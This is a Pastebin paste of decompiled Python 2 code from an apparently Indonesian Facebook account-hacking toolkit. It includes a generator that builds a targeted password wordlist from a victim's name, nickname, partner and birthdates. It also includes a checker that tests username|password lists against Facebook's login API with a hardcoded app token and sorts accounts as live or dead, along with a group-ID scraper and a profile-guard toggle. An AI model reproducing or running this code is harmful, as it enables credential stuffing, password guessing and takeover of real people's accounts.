  1906.             print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah'
  1907.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1908.             a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ')
  1909.             file = open(a + '.txt', 'w')
  1910.             b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ')
  1911.             c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ')
  1912.             d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ')
  1913.             e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ')
  1914.             f = e[0:2]
  1915.             g = e[2:4]
  1916.             h = e[4:]
  1917.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1918.             print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v'
  1919.             i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ')
  1920.             j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ')
  1921.             k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ')
  1922.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1923.             l = k[0:2]
  1924.             m = k[2:4]
  1925.             n = k[4:]
  1926.             file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k))
  1927.             wg = 0
  1928.             while wg < 100:
  1929.                 wg = wg + 1
  1930.                 file.write(a + str(wg) + '\n')
  1931.  
  1932.             en = 0
  1933.             while en < 100:
  1934.                 en = en + 1
  1935.                 file.write(i + str(en) + '\n')
  1936.  
  1937.             word = 0
  1938.             while word < 100:
  1939.                 word = word + 1
  1940.                 file.write(d + str(word) + '\n')
  1941.  
  1942.             gen = 0
  1943.             while gen < 100:
  1944.                 gen = gen + 1
  1945.                 file.write(j + str(gen) + '\n')
  1946.  
  1947.             file.close()
  1948.             time.sleep(1.5)
  1949.             print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a
  1950.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1951.             lain()
  1952.         except IOError as e:
  1953.             print '\x1b[1;91m[!] Gagal membuat file'
  1954.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1955.             lain()
  1956.  
  1957.  
  1958. def check_akun():
  1959.     os.system('clear')
  1960.     try:
  1961.         toket = open('login.txt', 'r').read()
  1962.     except IOError:
  1963.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1964.         os.system('rm -rf login.txt')
  1965.         time.sleep(1)
  1966.         login()
  1967.     else:
  1968.         os.system('clear')
  1969.         print logo
  1970.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1971.         print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password'
  1972.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1973.         live = []
  1974.         cek = []
  1975.         die = []
  1976.         try:
  1977.             file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ')
  1978.             list = open(file, 'r').readlines()
  1979.         except IOError:
  1980.             print '\x1b[1;91m[!] File tidak ditemukan'
  1981.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1982.             lain()
  1983.  
  1984.     pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ')
  1985.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1986.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1987.     for meki in list:
  1988.         username, password = meki.strip().split(str(pemisah))
  1989.         url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
  1990.         data = requests.get(url)
  1991.         mpsh = json.loads(data.text)
  1992.         if 'access_token' in mpsh:
  1993.             live.append(password)
  1994.             print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m]  \x1b[1;97m' + username + ' | ' + password
  1995.         elif 'www.facebook.com' in mpsh['error_msg']:
  1996.             cek.append(password)
  1997.             print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password
  1998.         else:
  1999.             die.append(password)
  2000.             print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m]  \x1b[1;97m' + username + ' | ' + password
  2001.  
  2002.     print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die))
  2003.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2004.     lain()
  2005.  
  2006.  
  2007. def grupsaya():
  2008.     os.system('clear')
  2009.     try:
  2010.         toket = open('login.txt', 'r').read()
  2011.     except IOError:
  2012.         print '\x1b[1;91m[!] Token tidak ditemukan'
  2013.         os.system('rm -rf login.txt')
  2014.         time.sleep(1)
  2015.         login()
  2016.     else:
  2017.         os.system('clear')
  2018.         print logo
  2019.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  2020.         jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  2021.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  2022.         try:
  2023.             uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket)
  2024.             gud = json.loads(uh.text)
  2025.             for p in gud['data']:
  2026.                 nama = p['name']
  2027.                 id = p['id']
  2028.                 f = open('grupid.txt', 'w')
  2029.                 listgrup.append(id)
  2030.                 f.write(id + '\n')
  2031.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + str(nama)
  2032.                 print '\x1b[1;91m[+] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + str(id)
  2033.                 print 40 * '\x1b[1;97m='
  2034.  
  2035.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup)
  2036.             print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt'
  2037.             f.close()
  2038.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2039.             lain()
  2040.         except (KeyboardInterrupt, EOFError):
  2041.             print '\x1b[1;91m[!] Terhenti'
  2042.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2043.             lain()
  2044.         except KeyError:
  2045.             os.remove('grupid.txt')
  2046.             print '\x1b[1;91m[!] Grup tidak ditemukan'
  2047.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2048.             lain()
  2049.         except requests.exceptions.ConnectionError:
  2050.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  2051.             keluar()
  2052.         except IOError:
  2053.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  2054.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2055.             lain()
  2056.  
  2057.  
  2058. def guard():
  2059.     global toket
  2060.     os.system('clear')
  2061.     try:
  2062.         toket = open('login.txt', 'r').read()
  2063.     except IOError:
  2064.         print '\x1b[1;91m[!] Token tidak ditemukan'
  2065.         os.system('rm -rf login.txt')
  2066.         time.sleep(1)
  2067.         login()
  2068.  
  2069.     os.system('clear')
  2070.     print logo
  2071.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  2072.     print '\x1b[1;37;40m1. Aktifkan'
  2073.     print '\x1b[1;37;40m2. NonAktifkan'
  2074.     print '\x1b[1;31;40m0. Kembali'
  2075.     print
  2076.     g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  2077.     if g == '1':
  2078.         aktif = 'true'
  2079.         gaz(toket, aktif)
  2080.     else:
  2081.         if g == '2':
  2082.             non = 'false'
  2083.             gaz(toket, non)
  2084.         else:
  2085.             if g == '0':
  2086.                 lain()
  2087.             else:
  2088.                 if g == '':
  2089.                     keluar()
  2090.                 else:
  2091.                     keluar()
  2092.  
  2093.  
  2094. def get_userid(toket):
  2095.     url = 'https://graph.facebook.com/me?access_token=%s' % toket
  2096.     res = requests.get(url)
  2097.     uid = json.loads(res.text)
  2098.     return uid['id']
  2099.  
  2100.  
  2101. def gaz(toket, enable=True):
  2102.     id = get_userid(toket)
  2103.     data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id))
  2104.     headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket}
  2105.     url = 'https://graph.facebook.com/graphql'
  2106.     res = requests.post(url, data=data, headers=headers)
  2107.     print res.text
  2108.     if '"is_shielded":true' in res.text:
  2109.         os.system('clear')
  2110.         print logo
  2111.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  2112.         print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan'
  2113.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2114.         lain()
  2115.     else:
  2116.         if '"is_shielded":false' in res.text:
  2117.             os.system('clear')
  2118.             print logo
  2119.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  2120.             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan'
  2121.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  2122.             lain()
  2123.         else:
  2124.             print '\x1b[1;91m[!] Error'
  2125.             keluar()
  2126.  
  2127.  
  2128. if __name__ == '__main__':
  2129.     login()
  2130. # okay decompiling 3.pyc
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top